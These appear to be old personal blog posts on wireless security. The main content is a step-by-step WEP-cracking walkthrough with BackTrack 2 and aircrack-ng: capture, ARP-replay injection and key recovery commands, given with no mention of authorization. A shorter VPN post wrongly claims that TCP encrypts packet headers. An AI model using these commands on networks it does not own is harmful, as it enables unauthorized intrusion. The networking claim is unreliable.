Recover Saved Wireless Key

To retrieve whatever key that was typed into the WZC profile, download WirelessKeyView from nirsoft.net.

Browse the site for other useful utilities.

Cheers!

VPN Access

Do you know that your data can be sniffed in a wired and wireless environment? All data traveled on the wire is not encrypted while traveling in the network. The TCP design specify that the packet header is encrypted for the destination IP. How much is this true, I don't really know.

What I'm paranoid is that my co-workers using the LAN can turn out to be a sniffer of my Internet Banking transaction, where all my sensitive data can be sniffed off from the LAN.

A few products employing VPN technology are available on the web.

Look up Hotspot Shield, PublicVPN.com and HotspotVPN.

Cheers!

Aircrack-ng Resources

A lot of useful articles and tutorials are available at this site.

My favorite being listed here.

WEP Cracking with BackTrack 2

This is the documented WEP cracking steps using BackTrack 2, after reading the article discussed here.

1. Boot into BT2.
2. Set your wireless card using the iwconfig command to monitor mode.
3. Assuming the interface is eth0, use iwconfig eth0 mode monitor.
4. If you use Kismet, the monitor mode will be set automatically.
5. Kismet must be started in X-Windows if you do not wish to manually edit the conf file.
6. From Kismet, remember AP SSID (bssid), AP MAC, Channel and Client MAC.
7. Use airodump-ng --channel Channel --bssid AP MAC --write capturefile eth0. This will capture all packets.
   
8. Use airodump-ng --ivs --channel Channel --bssid AP MAC --write capturefile eth0 to capture IVs only.
9. The values of RXQ and PWR must be high. This will speed up the packet capture process.
10. To increase #DATA value, use aireplay-ng command.
11. Use aireplay-ng --arpreplay -b AP MAC -h Client MAC eth0. This will cause the AP to generate ARP packets, vital to increase the #DATA count.
12. To crack WEP 64 bit, you'd need at least 300K of IVs and 1500K if cracking a 128 bit WEP encryption.
13. Use aircrack-ng -z -b AP MAC capturefile*.cap (upgrade your aircrack to version 0.9.1 or later to perform PTW crack).
14. Use aircrack-ng -f 8 -x2 -b AP MAC capturefile*.ivs (to decipher IVs only).

Update aircrack-ng
Update aircrack to enable PTW cracking (faster; I cracked a WEP 64 using 8K of packets)

• wget http://download.aircrack-ng.org/aircrack-ng-0.9.1.tar.gz
• tar xvfz aircrack-ng-0.9.1.tar.gz
• cd aircrack-ng-0.9.1
• make
• make install

Install BackTrack on USB drive

• Copy all the content of the bt2final.iso to a USB drive (at least 1GB)
• Execute \boot\bootinst.bat

I noticed that using a USB drive is better in the sense that you can save the capture files for later decryption. airodump-ng will save capture file in all sessions. aircrack-ng will crack all available capture files. Be sure to put all capture files of an AP in one directory itself.

Also, you can start multiple aireplay-ng sessions if you have more than 1 Client MAC found. BT2 provides 6 pseudo-terminals. Use it to your advantage.

Cheers!

Cracking WPA

This is another interesting articles for reading. The Cracking Wi-Fi Protected Access (WPA) is available in 2-part series.

Read Part 1 here and Part 2 here.

Cheers!

Aircrack/Aireplay Resources

Resources and command tips from here.

Main site is located at http://www.wirelessdefence.org/.

Cracking WEP

A nice and step-by-step guide available from SmallNetBuilder

Part 1: Setup & Network Recon
Part 2: Performing the Crack
Part 3: Securing your WLAN

A "reloaded" version is available here, produced 1 August 2007.

Happy reading and cracking.